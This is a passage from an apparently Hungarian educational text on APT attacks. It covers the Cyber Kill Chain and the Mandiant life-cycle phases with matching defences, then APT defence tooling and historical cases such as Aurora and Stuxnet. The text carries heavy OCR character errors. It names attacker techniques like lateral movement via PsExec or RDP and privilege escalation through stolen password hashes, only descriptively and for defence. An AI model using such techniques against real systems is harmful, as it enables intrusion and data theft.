ben csokkentik, haszndlatuk még mindig sziikséges egyfajta eldsziirési funkcidjuk miatt. Az egyedi
karos kodok kiszlirését teszik lehetové a haldzati forgalom vagy a beérkezd elektronikus levelek
viselkedés alapt vizsgélatat végzd elemzd, tigynevezett sandbox technikéval miik6dd eszkozok. Az
elemzés sordn a haldzati forgalom vagy az elektronikus levél eljuttatasra kertil egy valés munkaallo-
mast szimulald virtualizalt kornyezetbe, ahol az emberi tevékenységet utanozva kertil vizsgélatra a
beérkezd csomag (példaul egy halozaton letoltott allomany vagy egy elektronikus levél melléklete).
A vizsgalat soran az dllomany altal végzett tevékenységek— altalaban nem ismert algoritmus — alapjan
dont a védelmi rendszer az allomany karos voltarol.

3.1.1.4. Kihaszndlas (Exploitation)

A kéros csomag bejutdsa utan valamilyen tevékenység, ami kivaltja a karos kod lefuttatasat. A kod
lefuttatasahoz altalaban valamely alkalmazas vagy az operacids rendszer sériillékenysége sziikséges.
Zero-day avagy nulladiknapi sériilékenységnek hivjuk a sériilékenységet, ha a sériilékenység nem
ismert vagy nincs ra javitdo kod. Amennyiben a timadott informacios rendszer kritikus az allam, tar-
sadalom, gazdasag miikddése szempontjabol nagy valdsziniiséggel nulladik napi sériilékenységet ki-
hasznalo6 koddal allhat a védelem szemben, amire nem biztos, hogy hatékony valaszt tud adni.

A kod lefutasat kivaltd esemény lehet egy felhasznald tevékenység vagy a rendszer egyik sériilé-
keny elemének tdmadasaval automatikus. Manudlis tevékenység példaul egy fertdzott dokumentum
megnyitasa, fertézott honlap meglatogatasa, vagy egy fertdzott adathordozo szamitdégéphez csatla-
koztatdsa USB porton keresztiil, minden, ami kivalthatja a kéros kod lefuttatasat.

A felhasznalok tudatos viselkedésével részben vagy egészben megakadalyozhatdk a kéros kod le-
futtatdsa, ugyanakkor megfeleld rendszabalyok bevezetésével technikai eszkozokkel is csokkenthetd
a kockazat.

Megel6z6 intézkedés keretében megfontoland6 a végponton futtathatd alloméanyokat korlatozni,
akar white-list alkalmazasaval, id6szakonként célszeri feliilvizsgalni az informatikai eszk6zon a ki-
emelt jogosultsagu felhasznalok korét, illetve idészakonként célszerli a rendszer sériilékenységvizs-
galatat €s penetracios tesztjét elvégezni.

5% White-list: olyan lista, amely példaul csak a latogathat6 internetes oldalakat, a szamitogépen futtathatd programokat
tartalmazza.
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Amennyiben nem nulladik napi sériilékenységet kihasznal6 kod futna le a timadas megakada-
lyozhat6 a rendszerre telepitett biztonsagi frissitésekkel, végponti védelem (végponti behatolas véde-
lem, virusvédelem stb.) kialakitasaval €s naprakészen tartasaval. Windows alapurendszerek esetében
példaul a Windows Defender Exploit Guard nytjthat védelmet a sériilékenységek kihasznalasaval
szemben.

A védelmi rendszerek szamara Ismeretlen karos kodok futtatasanak felfedezésére alkalmazhatok a
rendszer, felhasznaldi tevékenységet figyeld és elemzo rendszerek. A végpontokra telepitheté EDR>?
rendszerek képesek az informatikai eszk6zokon zajlo tevékenységek — akar mas eszkdzokbdl szar-
mazo6 informaciokkal egyiitt — korrelalt vizsgalatara, értékelésére, illetve bizonyos esetekben auto-
matikus beavatkozasra. A felhasznalo tevékenység viselkedés alapu figyelésével kiszlirhetok azon
tevékenységek, amelyeket a felhasznald nevében hajtottak végre, de a viselkedés minta alapjan nem
az adott felhasznalo hajtotta végre.

3.1.1.5. Telepiilés (Installation)

Teleplilés folyamataban a karos kod lefutasaval a tamado egy trojai programot vagy hatso bejaratot
(backdoor) telepit, amely felhaszndlasdval a tAmadonak lehetdsége van a tavoli kapcsolat allando,
folyamatos fenntartasadra a megtamadott kornyezetbdl. Ezen fazisban a tamado elvégzi azokat a be-
allitdsokat is, amelyek biztositjak, hogy a szamitogép ujrainditdsa utan is fennmaradjon a tavoli kap-
csolodas lehetdsége, példaul a karos kod AutoRun-ba torténd beirasaval.

A telepités soran a szamitdégépen olyan miiveletek hajtodnak végre, amelyek végrehajtasa a rend-
szer megfeleld biztonsagi bedllitdsaival megakadalyozhatdk. A kéros kod lefuttatdsat megakadalyoz-
hatjak a virusvédelmi, vagy végpont védelmi rendszerek vagy olyan alkalmazasok, beallitasok, ame-
lyek nem engedik alkalmazésok telepitését.

3.1.1.6. Vezerles és iranyitas (Command and Control — C2)

A Telepiilés fazisban kialakitott csatornan keresztiil kommunikal a fertdzott szamitogép, illetve a
tamado specialis célu szamitdgépe (C2 vagy C&C szerver). A C2 szerver a tamado altal feliigyelt, a
fert6zott szamitogépek vezérlésére €s ellendrzésére hasznalt szamitdgép. A halozati kapcsolat legy-
gyakrabban web, DNS, email protokollok segitségével épiil ki, ami miatt a halozat és az lizletmenet
alapos ismerete nélkiil felfedezésiik nehéz. C2 szerver alkalmazasaval lehet példaul nagy mennyiségii
szamitogéppel (botnet halozat) DDoS tdmadast is végrehajtani, illetve fejlett timadas esetén a ferto-
zOtt gépen egyedi utasitast végrehajtatni.

A C2 szerverrel torténé kommunikacionak szamos jele van a fertdzott infrastruktiraban, megje-
lennek 1 kommunikacios iranyok, altalaban a kommunikéacidonak van egy sajatsagos dinamikaja, ami
eltér a web bongészés, vagy az email kiildés dinamikdjatol. Az észlelést a hatarvédelmi eszk6zokbol
nyert informaciok, illetve a végponton zajlé események korrelalt vizsgalata segithetik. A védekezés
része a kommunikacioés iranyok korlatozasa, halozati behatolasdetektald eszkoz, tarpet-ek,® DNS
poisoning®” hasznalata.

5 Endpoint detection and response.

56 Tarpet: olyan eszkoz, amely képes lassitani egy folyamatot, példaul az idéegység alatt beérkezd levelek szamat vagy
a halézatba érkezo kiszolgalt kérések szamat.

57 DNS poisoning: olyan tevékenység, amely az eredeti DNS kérést a DNS szolgaltatas szerver oldali manipulalasaval
eltériti. Az eltérités lehet tamadas, illetve hasznalhaté védelmi technikaiként is.
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3.1.1.7. Tevékenyseg (Actions on objectives)

Amennyiben az eldz6 fazisokban felsorolt tevékenységek sikerrel jartak, a timadasi szandék nem
keriilt feltarasra, a tAmadas nem kertilt blokkolasra, akkor a tdmadoé elérte eredeti céljat, azaz leheto-
sége van kiépitett csatornan keresztiil példaul kiadott parancsokkal a halozat felderitésére, jogosult-
sdg emelésre, adatszivarogtatasra, a tamadott rendszer vagy az rendszerben tarolt adatok illetéktelen
modositasara, torlésére, titkositasara, a rendszer rendelkezésre allasanak zavarasara, tonkretételére.
Mivel a tdmad6 mar az informatikai rendszeren beliil van, igy lehetdsége van a fert6zott rendszert
tovabbi kapcsolddo rendszerek felé torténd tdmadasra felhasznélni.

Amennyiben az els6 hat 1épés egyikében sem sikertilt a timadast felismerni, megallitani, Ggy a ka-
ros tevékenység varhatéan hosszu idon keresztiil folytatodhat. A tAmadas felismerése célzott vizsga-
lattal, uj védelmi technoldgia bevezetésével, vagy hasonld tdmadas elemzését kovetden, a tamadasra
jellemzd paraméterek megosztasa utan lehetséges. Azonban igy sem ritka olyan kartevd felfedezése,
amely éveken keresztiil ott volt egy adott rendszerben.

A karos tevékenység felfedezése utan legfontosabb feladat az incidens bizonyitékainak hiteles
rogzitése, a tiamadas pontos lefolydsanak feltarasara, a lehetséges egyéb pihentetett hatsokapuk felde-
ritése, illetve a timadas hatasanak minél alaposabb feltardsa, a karenyhités végrehajtasa, beleértve a
fertdzés felszamolasat €s a kommunikécio kidolgozasat is.

3.1.2. Mandiant attack life cycle
A Mandiant altal publikalt incidenskezeld szemléletii modell életciklus szertien irja le a szofisztikalt

tamadasok lefolyasat. A modell a timadasi folyamat kompromittalodas részekre helyezi a hangsulyt,
kevésbé az eldkészitd és végrehajtasi fazisban zajlo tevékenységekre.

3. abra: Mandiant Consulting
Forras: https://www.fireeye.com/services.html (utolso letéltés: 2018. szeptember 18.)

3.1.2.1. Kezdeti informacioszerzés (Initial Reconnaissance)
Hasonloan a Lockhead Martin féle modell Felderités fazisa, ebben a fazisban a tamado minél tobb
informaciot probal szerezni a kiszemelt célpontrol. A tamado feltérképezi a célpont internet iranyaba

nyujtott szolgaltatasait, azok sériilékenységeit, megkeresi a publikus feliileteken a munkavallalokrol
fellelhet6 informaciokat. Védekezési lehetdségek is megegyeznek a 3.1.1.1. pontban leirtakkal.
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3.1.2.2. Kezdeti kompromitalas (Initial Compromise)

Ebben a fazisban a tamado sikeresen lefuttatja a karos kodot egy vagy tobb rendszeren példaul egy in-
ternet felé nyujtott szolgaltatason, vagy sokszor kihasznalva az emberi hiszékenységet, illetve a rend-
szerekben meglévo sériilékenységeket. A védelmi megolddsok megegyeznek a 3.1.1.3. és a 3.1.1.4.
pontokban leirtakkal.

3.1.2.3. Kontroll fenntartasa (Establish Foothold)

A kezdeti kompromitalédas utan a tdmadd megteszi azon tevékenységeket, amelyek biztositjak a
folyamatos kontrollt a kompromittalt rendszeren. Ez jellemzden egy hats6 kapu telepitésével, tovab-
bi eszkozok, karos kodok letdltésével valosul meg. A védelmi megoldasok megegyeznek a 3.1.1.5.
pontban leirtakkal.

3.1.2.4. Magasabb jogosultsag szerzés (Escalate Privileges)

A Lockhead-féle Cyber Kill Chain modell nem tartalmazza onalldan ezt a fazist, részét képezi a
3.1.1.5. pontban leirt tevékenységeknek. A sikeres tdmadas egyik kulcspontja, hogy a tdmadd ma-
gasabb szintli jogosultsagot szerezzen a rendszerben, mivel a felhasznaldé nevében nagyon korla-
tozottak a lehetdségek, kivéve akkor, ha a felhaszndlo rendszergazdai vagy magasabb jogosultsagu
felhasznaloként van belépve a tdmadas idopontjaban. Sikeres jogosultsag eredményeként a tamado
magasabb jogot szerez a rendszerben, ezaltal hozzaférhet olyan informéciokhoz, rendszerekhez is,
amelyhez normal koriilmények kozott nem lenne joga. Ezen fazisban a tdimado gyakran jelsz6 hasbol
(jelszotoréssel vagy jelszd hash tdmadassal) szerzi meg a magasabb szintli hozzaférést. A tdmado az
ellopott azonositasi adatokkal, PKI kulcsokkal hozzafér a az alkalmazashoz vagy kihasznélja a szoft-
ver sériilékenységét. A jogosultsdg emelés torténhet tovabba egy rendszerelem sériilékenységeinek
kihasznalasaval vagy a védelmi megoldasok megkeriilésével is.

A védelem szamara hasznos tdmogatast nyujthatnak a jogosultsdgemelés feltarasaban a felhaszna-
161 tevékenység elemzd rendszerek, illetve a végpontvédelmi eszkdzok.

3.1.2.5. Belso halozat felderitése (Internal Reconnaissance)

Ez a fejezet sem 0nallo része a Cyber Kill Chain-nek, ugyanakkor fontos része a sikeres tdmadas vég-
rehajtasanak, a kompromittalt rendszerben torténd tartos ottlétnek. A belsé haldzat megismerésének
célja feltarni és részletesen megismerni az informatikai kornyezetben megtalalhat6 eszkdzoket, ada-
tokat. A tamado a halozat feltérképezésével megismeri a belsé haldzati kornyezetet, a szabalyokat, az
egyes szereplok lehetdségeit, illetve megkeresheti a tAmadd szamara fontos informacidkat a szerve-
zetrdl, a szervezet altal tarolt/kezelt informaciokrol, illetve a szervezet altal tarolt adatokat. A halozat
felderitési tevékenység detektalhato a belsé halozati forgalom, a felhasznaloi tevékenység anomalia
alapu vizsgalataval, illetve Honeypot (csali szamitogép) alkalmazasaval.

3.1.2.6. Halozati hozzaféreés kiterjesztése (Move Laterally)

A tamado a halozat feltérképezése utan megprobal minél tobb haldzati eszkdzhdz, szolgaltatdshoz
hozzaférni, kiilondsen veszélyes, ha a tAmadonak sikeriilt olyan informéciokhoz jutnia, amellyel ki-
emelt felhasznaloi tevékenységet is el tud végezni (példaul rendszergazdai jogosultsagu felhasznalod
adataihoz jut hozza). A haldzati oldal irdnyi mozgas soran a tdimado hozzafér a megosztott mappak-
hoz, megprobal mas eszk6zokon tavolrol programokat futtatni (példaul Windows Task Scheduler se-
gitségével) vagy megprobal mas eszkdzokre bejelentkezni (példaul PSExec, tavoli asztal (RDP) vagy
példaul VNC segitségével — ez utdbbi esetekben a tdmadott gépen grafikus interfészt is szerezhet.
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A halozati kiterjesztés egyik fontos alapfeltétele annak, hogy a tdmado hosszabb ideig a megtamadott
rendszerben maradjon. A védelem alapja a felhasznaloi tevékenység figyelése, a szokatlan halozati
tevékenység felismerése.

3.1.2.7. A jelenlét fenntartasa (Maintain Presence)

Az APT tamadasok egyik fontos célja, hogy a tdmado hosszua ideig a timadott rendszerbe maradjon.
A tdmado kialakitja a folyamatos hozzaférést a megtamadott kdrnyezethez. Ezen tevékenység kereté-
ben a tAmado tobbféle malware-t telepithet, amelyek biztosithatjak a hatso kaput a rendszerbe torténd
visszatérés biztositdsahoz. Nem ritka, hogy a tamado a haldzaton beliil tobb szamitoégépen is kialakit-
ja a tavoli hozzaférés lehetdségét, annak érdekében, hogy az aktiv timadashoz hasznalt szamitogép
— a védelem altal torténd — felfedezése esetén is megmaradjon a kapcsolat a tamadott rendszerrel.
A majdnem vagy teljesen tejesen inaktiv karos kodok, hatso kapuk felismerése gyanus tevékenység
minimalis szdma miatt eléggé korlatozott, ugyanakkor a végpontvédelmi tevékenységek, halozati
forgalom elemzése adhat némi reményt a tevékenység €szlelésére.

3.1.2.8. A kiildetés teljesitése (Complete Mission)

A tdmado elérte a céljat. Ez altalaban azt jelenti, hogy a tdimadonak sikeriilt ellopnia a szdmara
sziikséges adatokat, példaul pénziigyi adatokat, személyes, banki adatokat vagy az iizlet szempont-
Jabol fontos adatokat. A cél elérésekor a tamado altalaban felfiiggeszti tevékenységét, ugyanakkor
fenntartja a hozzaférést a megtamadott rendszerhez és id6rdl idére visszatérve hozzajuthat tovabbi
informacidkhoz.

Amennyiben a szervezet rendelkezik adatszivargas elleni (DLP — Data Loss Prevention) rendszer-
rel, ugy nem megfelelden kivitelezett timadas esetén lehetdség van az adat szivargas felfedezésére.
Amennyiben a timadé gondosan hajtott végre a tamadast, ugy ezen tevékenység majdnem lathatatlan
marad, illetve olyan gyorsan zajlik le, hogy kevés esély van az esemény megakadalyozéasara. A véde-
lem szdmara fontos informacio, hogy melyik rendszerbdl és milyen adatot vittek el, ami elképzelhe-
tetlen megfeleld naplozas beallitdsa nélkiil.

3.2. Apt elleni védelmi eszkozok

Az APT tamadasok soran jellemzden olyan technikat, karos kddot hasznalnak, amelyek a hagyoma-
nyos szignatira alapt védelmi rendszerek szamadra lathatatlanok, legyen sz6 tizfalakrol, IPD/IPS-ek-
r6l, virus- és malware elleni védelmi eszk6zokrdl vagy egyéb védelmi eszk6zokrdl. Egy APT tdma-
das felismerése Ujfajta megkozelitést és a hagyomanyos védelmi eszk6zoktdl eltérd elven mitkodo
védelmi eszkdzok bevezetését igényli.

Az APT elleni védelem alapja az informatikai rendszerekben zajlé tevékenységek folyamatos
vizsgalata és a szokatlan miikodés feltarasa, kiegészitve fenyegetettségi informaciokkal. Természe-
tesen a védelem soran egyre nagyobb szerepet kapnak az elmult években megjelent 0 technologiak,
mint sandbox-ban torténd viselkedés elemzés, a Big Data vagy a mesterséges intelligencia, csakugy,
mint a gépi tanulds.

Megjegyzendd, hogy gondos tervezéssel az anomalia keresés alapt vizsgélat, valamint a sandbox
jellegli elemzés is megkertilhetd, azaz a tdimado képes ezen védelmi rendszerek kijatszasara is, ugyan-
akkor tobb egymastol fliggetlen megoldéssal jelentdsen meg lehet neheziteni a timado dolgat, illetve
jelentés mértékben lehet javitani a detektalas hatékonysagat..

A mesterséges intelligencia alapu vizsgalat esetén hasznalt algoritmusok ismeretében megkereshe-
tok az algoritmus gyenge pontjai, amely lehetdséget biztositanak azok kijatszasara. Tobb algoritmus
hasznalata esetén természetesen jelentésen csokkenhet a kijatszhatdsag esélye, ugyanakkor a tobb
algoritmus parhuzamos alkalmazasa jelent0s er6forrasigényt generalhat.
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A tapasztalatok azt mutatjak, hogy egy-egy fejlett védelmi eszkdz nem elegendd a tamadas detek-
talasara, altalaban tobb fejlett védelmi eszkdz egyiittes jelzése biztositja a tdimadas észlelését.

Kedvezo tapasztalatok esetén altaldban a kezdeti tesztelés lezarasat kovetden az eszk6zok moni-
torin tizemmodbol atallitasra keriilnek beavatkozo tizemmodba, ami karos tevékenység detektalasa
esetén azonnal be is avatkozik, megelézve a tovabbi karos tevékenységet.

3.2.1. Halozati forgalom vizsgdlata

A tamado jellemzden a szervezet informatikai rendszerén kiviilrdl tartja a kapcsolatot a megfertdzott
gép(ek)kel, igy ennek biztosan vannak nyomai a hatdrvédelmi eszkdzokon. A halozati kommunikacid
karakterisztikaja (példaul szokatlan mennyiségli forgalom vagy ciklikus adatforgalom), az Gjonnan
1étesiild ) kapcesolatok (példaul ,,misztikus” orszagok irdnyéaba), szokatlan halozati forgalom (példaul
TOR hélozat hasznalata, vagy tunneling), mind utalhatnak arra, hogy a hal6zatban kéaros tevékenység
zajlik. A szokatlan tevékenység elemzése nagymértékben tamogathatja az APT tadmadas felismerését.

A halozati csomagok rogzitése kiilondsen hasznos lehet az utdlagos vizsgalatok lefolytatasaban,
az ugynevezett igazsagiigyi informatikai szakért6i tevékenység végrehajtasaban, a karok meghataro-
zasaban.

3.2.2. Elektronikus levelek vizsgdlata

A fejlett timadésok leggyakoribb tdmadasi vektora napjainkban az elektronikus levél, amely a karos
tartalom hordozdjaként eljutva a felhasznalohoz, altaldban a felhasznal6 kézremiikodésével képes a
szamitogép megfertdzésére.

A szervezeteknél széles korben elterjedt spam és a levelekben talalhat6 virusok sziirésére hasznalt
megoldasok. Ezen eszk6zok képesek kisziirni a karos levelek jelentds részét, ugyanakkor alkalmatla-
nok fejlett timadasok sordn alkalmazott karos kodok felhasznalohoz torténd eljutasanak megakada-
lyozasara. Az elektronikus levelek vizsgalatara jellemzéen sandbox-szal torténik. Az elemz6 eszkoz-
ben talalhat6 virtualis kornyezetben (sandbox) torténik a levél mellékletében talalhatd alloméanyok
vizsgélata, illetve a rendszer képességeitdl fiiggden a levélben talalhatd hivatkozasokkal elérhetd
weboldalak, dokumentumok, egyéb futtathatd alloméanyok vizsgalata.

3.2.3. Idegen adathordozok kezelése

A tdmadas egyik lehetséges csatornaja a fert6zott adathordoz6 (példaul pendrive, DVD) csatlakozta-
tasa a végpontra. Az USB portok hasznalatanak, az egyéb média olvasok, médidk olvasasanak meg-
akadalyozasaval ezen tdmadasi csatorna megsziinjon, mint potencialis veszélyforras. Amennyiben az
izletmenet miatt sziikséges kiilsé adathordozok hasznalata, azt egy ellendrzési folyamaton keresztiil
—megfeleld védelmi megoldasokkal —lehet megvalodsitani.

3.2.4. A felhasznalo tevékenységének vizsgalata
A fejlett tAmadéasok soran altalaban a tdmaddé magasabb — jellemzden kiemelt — jogosultsaggal ren-
delkez6 felhasznald nevében tudja elvégezni a rendszer feltérképezését, a halozati hozzaférésének

kiterjesztését, a jelenlétének fenntartasdhoz, valamint a kiildetésének teljesitéséhez sziikséges tevé-
kenységeket.
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A felhasznaloi tevékenység figyelése kiterjedhet tobbek kozott a felhasznalo fizikai tevékenysé-
gére (példaul mikor érkezett be a céghez, honnan szokott tdvolrdl bejelentkezni), a felhasznélo altal
kiadott utasitdsok formadjat, szintaxisat, illetve a biometrikus adatokat (példaul billentytizet leiités,
egérmozgas), a felhasznalo informatikai rendszerben végrehajtott tevékenységére.

A felhasznal6i tevékenység vizsgalata alkalmas a belsé elkovetd altal végrehajtott tdimadasok de-
tektalasara is.

3.2.5. Avégponti tevékenység vizsgalata

A szignatura alapu virus és malware elleni védelmi (EPP — Endpoint Protection Platform) eszkdzok
képesek az eszkoz gyartoja altal ismert kdros kodok felismerésére, ugyanakkor nem képesek az 0j és
esetlegesen rejtési technikdval modositott kodok felismerésére.

Az EDR (Endpoint Detection and Response) feladata a végpontokon zajlo tevékenységek rogzi-
tésére €s a szokasostol eltérd vagy kockazatos tevékenységek, tevékenységsorozatok feltarasara. Az
EDR rendszerek az ismert karos kodok mellett timogatast nytijtanak a gyants tevékenységek okanak
kideritésében €s igy a korabban nem ismert karos tevékenység felismerésében.

A végpontvédelmi eszk6zok esetében is megfigyelhetd a konvergencia, varhatdéan hamarosan el
fognak tlinni az eszk6zok kozotti kiilonbségek.

3.2.6. Fenyegetettségi infrmdciok

A fejlett tamadasok felderitését jelentds mértékben megkonnyithetik azon informaciok, amelyek se-
gitenek felkésziilni az 0 tipust tdmadasokra, vagy akar konkrét informaciot szolgaltatnak a szerve-
zetlink vagy mas szervezet ellen inditott timadasrol. A fenyegetettségi informaciok célja, hogy in-
formaciot biztositsanak az informaciobiztonsagi dontéshozok, vezetok, szakértd szdmara a védelem
kialakitasahoz.

A stratégiai informaciok a dontéshozok szadmara hordoznak informéciot az informaciobiztonsagi
trendekrdl, megjelend 1) tdmadasi folyamatokrol és védelmi megoldasokrdl, a kibertamadas €s a
védekezés pénziigyi hatasairol.

A taktikai informaciok az informatikai rendszere tervezdinek, rendszergazdéknak szolnak elso-
sorban. A taktikai informaciok segithetnek a védelmi rendszer felkészitésére egy tamadas ellen, tar-
talmazzak a timadasi metodologiakat, a tdimadasra hasznalt eszkdzoket, azok jellemzoit. A taktikai
informaciok forrasa lehet a szaksajto, kiilonféle white-paper-ek, de johetnek ezen informéacidk mas
vallalatoktol, biztonsagi szolgaltatast nyjtod cégektol is.

Operativ informacidk a szervezetet ért timadasokrol hordoznak informaciot. Ki, miért és milyen
modon tamadja a szervezetet? Természeténél fogva ilyen informacid beszerzése nem konnyt felada-
ta, ugyanakkor forumok, chat szobdk figyelésével hozza lehet jutni ezen informacidkhoz is. Kony-
nyebb az ilyen jellegli informdacid beszerzése, ha tudjuk, hogy a szervezetnek milyen nyilt és kevésbé
nyilt ellenségei vannak.

Technikai informacidk a konkrét védelmet segitik jellemzden kartékony tevékenységhez tartozo
indikatorok (agynevezett IoC*®-k) biztositasaval. Ilyen indikatorok lehetnek karos tartalmi webol-
dalak, IP cimek, vagy kéros allomédny hash-e. Ezen indikatorokat felvéve a védelmi rendszerekbe
megeldzhetOk, felismerhetdk a tamadasok.

A fenyegetettségi informaciok elérhetdek nyilt forrasbol, de lehetdség van informacids csatornak-
ra torténd elofizetésre is.

58 ToC: Indicator of Compromise: olyan adatok, amelyek tamadassal fiiggenek 6ssze (példaul: IP cim, fajl hash értéke).
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3.2.7. Naplozas

Mig korabban a naplozas volt az elsddleges eszkoz az incidensek felismerésében, napjainkban inkabb
az incidensek feltarasaban, az incidenshez kapcsolodo bizonyitékok megdrzésében van szerepe.

A tamadas felismerésének egyik lehetséges mddja a naplobejegyzések vizsgalata. Fejlett timada-
sok esetén ugyanakkor az egyes rendszerek naploinak 6nallo vizsgélata kevésbé hatékony. A kdzponti
biztonsagi naplogyijtés kialakitasa segithet a kiilonb6z6 forrasokon keletkez6 naplobejegyzések kor-
relalt vizsgalatara és ezen keresztiil egy incidens felismerésében.

Mivel éltalaban a tamadés egyik fontos pontja a nyomok eltiintetése, igy kiilondsen fontos, hogy
a napléallomanyok ne csak magan az informatikai rendszeren, hanem kdzponti naplézasi infrastruk-
turan is taroléasra kertiljenek.

Az incidensek felismerésének masik feltétele, hogy a rendszerekben valamennyi olyan esemény-
6l keletkezzen naplobejegyzés, amely biztonsagi szempontbdl relevans lehet, beleértve nem csak az
infrastruktira elemeket, hanem az alkalmazasokat is.

3.2.8. Biztonsdgi mentés

Az lizletmenet folytonossag biztositasahoz elengedhetetlen, hogy a rendszerrdl, a rendszerben térolt
adatokrol biztonsagi mentés késziiljon. Fejlett timadasok esetén a visszaallitds soran — nem megfele-
16 gondossag esetén — a fertdzést is visszatoltjiik a rendszerbe.

Egy komplex rendszer visszaallitdsa utan a kordbban a tdmado éltal kihasznalt sériilékenység ujra
megjelenik, azaz a timado6 varhatdan sikeresen fogja ijra megtamadni a rendszert, kivéve, ha haté-
kony ellenintézkedéseket lehetet adni, mint példaul a rendszer frissitése.

3.2.9. incidenskezelés

A fejlett tamadasok felismerése €s kezelése nem tud megvalosulni hatékony incidenskezelés nélkiil.
Az incidenskezelés része azon folyamatok, amelyek leirjak, hogy egy incidens soran kinek, mi a
feladata, milyen feleldsége van az incidenskezelési tevékenységben. Az incidenskezelést timogatjak
azon rendszerek, amelyek jelzik a biztonsagi eseményt, tdmogatjak az incidenskezelési folyamatot,
valamint kiegészit6 informacioé adnak a tamadasrol.

Az el6z6 pontokban egyaltalan nem vagy csak részben kertiltek bemutatdsra azon hagyomanyos
védelmi megoldasok, amelyek miiszaki szempontbdl segithetik a fejlett timadasok megeldzését, fel-
ismerését, kezelését, ugyanakkor legaldbb annyira fontosak, mint az fejlett védelmi eszkozok. Ezen
funkcidk nélkiil nem csak a hatékony védekezés nem valdsithaté meg, hanem a jogszabalyi megfele-
1és sem biztositott.

4. Néhany jelentos APT tamadas az elmult évekbol

Az APT tamadasok szama évrél-évre nd, koszonhetéen az egyre ndvekvo motivacioé miatti fokozott
tdmadasi kedvnek. A Darkweben a nulladik napi sériilékenységeknek komoly piaca alakut ki. A né-
hany dollarnyi értékli karos kodoktol akar tobb szdzezer dollaros kodokig szinte minden elérhetd,
igaz a komolyabb kartevokhéz nem konnyli hozzajutni. Az elkdvetkezd fejezetekben bemutatasra
keriil néhany olyan tdmadas, amely a maga koraban jjdonsagok hordozott és ravilagit a timadasok
sokszintiségére.
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4.1. Moonlight maze

Nem az elsd, de talan az elsé olyan tdmadas volt, amely széles korben is nyilvanossagot kapott,
miutan a Newsweek 1999. szeptember 20-1 szamaban megjelent egy cikk, melynek cime ,,We're in
the middle of a cyberwar”, azaz egy kiberhdbori kézepén vagyunk. A tdmadést amerikai katonai
(Pentagon, NASA), kormanyzati szervek (példaul U.S. Department of Energy), illetve olyan egye-
temek ¢€s kutatd intézetek ellen kovették el, akik katonai kutatasokat folytattak. A tdmadas két évig
folyt észrevétleniil és tobb ezer fajlt loptak el, amelyek érzékeny katonai informaciokat tartalmaz-
tak, a kar tobb millié dollar volt.

A tamadast feltételezheten a volt Szovjetuniobdl inditottak (a feltart nyomok alapjan), de termé-
szetesen az orosz kormany ezt nem ismerte el.

4.2. Titan rain

Az Egyesiilt Allamok védelmi tevékenységét tamogatd szerzGdéses partnerek (példaul Lockheed
Martin, Sandia National Laboratories, Redstone Arsenal, NASA) ellen iranyuld tamadast 2003-ban
indult. A felételezett timadok kinaiak voltak, de természetesen a Kinai kormany ezt tagadta.

Ujdonsag volt a tamadasban, hogy magasabb szintere emelték a megtévesztést, illetve parhuza-
mosan tobb tamadasi vektort is alkalmaztak, amit kombinaltak jol felépitett pszicholdgiai megtévesz-
téssel (angolul: social engineering). A tdmadas soran célzottan tdmadtak meg embereket rejtett trojai
tamadésokkal, amelyek kartékony technikékat alkalmaztak, és amelyek az akkor hasznalt védelmi
megkeriilésével hajtottak végre a tevékenységiiket.

Az események és a célpontok érzékenysége miatt a korményzati szervek titokban tartottdk a tdma-
dassorozatot, ami nagyban hozzajarult a timadasban érintett szervezetek korének jelentds boviilése-
hez, igy a tdmadok tobbek kozott be tudtak torni repiildgépgyarakba, védelmi, energetikai, pénziigyi
gyogyszerészeti, technoldgiai, gyartdsban részt vevo vallalatokhoz is, ahonnan nagy mennyiségii ér-
z¢ékeny adatot loptak el.

4.3. Operation aurora

Az Aurora miivelet (a mivelet eredeti neve) egy 2009-ben indult szamitogépes tdmadassorozat volt,
amely beszamolok alapjan Kindbol inditottak. A tamadas egy nulladik napi (0-day) sériilékenység
kihasznalasaval telepitette a Hydraq nevil, rosszindulatu trojai programot, amelynek célja az infor-
maci6 ellopasa. Ahogy azt a Titan Rain tdimadasnal is megfigyelhetd volt, az APT-tdmadéasok korai
aldozatai altaldban nem voltak hajlandok nyilvanossagra hozni tapasztalataikat, illetve szembenézni a
tamadas tényével. A vasarlok, részvényesek haragjatol vald félelem miatt a timadasokat sokaig nem
hoztdk nyilvanossagra a Google kivételével. Ennek kovetkeztében a tamadok még batrabba valtak,
igy nétt a célpontok szama is.

2010 januarjaban a Google nyilvanossagra hozta a tAmadasokat, azt allitva, hogy 20 masik val-
lalatot is megtamadtak, bar ma mar széles korben ugy vélik, hogy a szam joval magasabb volt. Az
aldozatokrol ismert volt az Adobe Systems, a Juniper Networks és a Rackspace. Szamos mas, megta-
madott vallalat inkabb névtelen maradt, bar a jelentések szerint vezetd bankok, védelmi vallalkozok,
biztonsagi értékesitok, olaj- €s gazvallalatok, valamint szdmos mas technoldgiai vallalat szerepelt. A
tdmadas soran kinai emberi jogi aktivistak e-mail fiokjait is célba vették.

A McAfee elemz0i arrdl szamoltak be, hogy a timadas elsddleges célja a forraskod-tarolokhoz tor-
ténd hozzaférés megszerzése ¢és a tarolt forraskddok modositasa ezen csucstechnoldgiai, biztonsagi és
védelmi vallalkozoknal. Abban az id6ben ezeket a tarolokat altaldban nem védették magas biztonsagi
szinvonalon.
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A Google a tapasztalatainak nyilvanossagra hozatalaval segitett a kockazatok tudatositasaban, és
Osztonozte az érintett vallalkozasokat a jobb biztonsagi ellenintézkedések megtételére. Szamos val-
lalat tovabbra 1s vonakodik elismerni, hogy hasonl6 tdmadasok 4ldozatava valik, bar a jogszabalyi
megfelelés kovetelményei fokozatosan arra kényszeritették a vallalatokat, hogy nyitottabbak legye-
nek a biztonsagi események nyilvanossagra hozatalaval kapcsolatban.

4.4. Stuxnet

A 2010 juniusaban felfedezett Stuxnet szamitdogépes féreg volt az elsd olyan nyilvanos szamitogépen
talalhato rosszindulatii program, amelyet ipari folyamatirdnyité rendszerek kémkedésére és alaasa-
sara terveztek. A Stuxnet-et feltételezések szerint az Egyesiilt Allamok és Izrael készitette annak
érdekében, hogy megtamadja Iran nuklearis 1étesitményeit. A rosszindulati szoftverek jelentds kart
okoztak az irdni Natanz nukleéris dusité laboratériumban miikodé centrifugakban, amivel jelentds
mértékben hatraltattak az irdni atomfegyver elkészitését.

A tdmadasra hasznalt féreg tervezése azt sugallja, hogy egy az konkrét célkitlizést kivan elérni egy
adott cél ellen, nem pedig egy altalanos hirszerzési miivelet timogatasat.

A féreg kifejezetten a Siemens ipari szoftvereit €s berendezéseit célozta meg, igy nem kezdett el
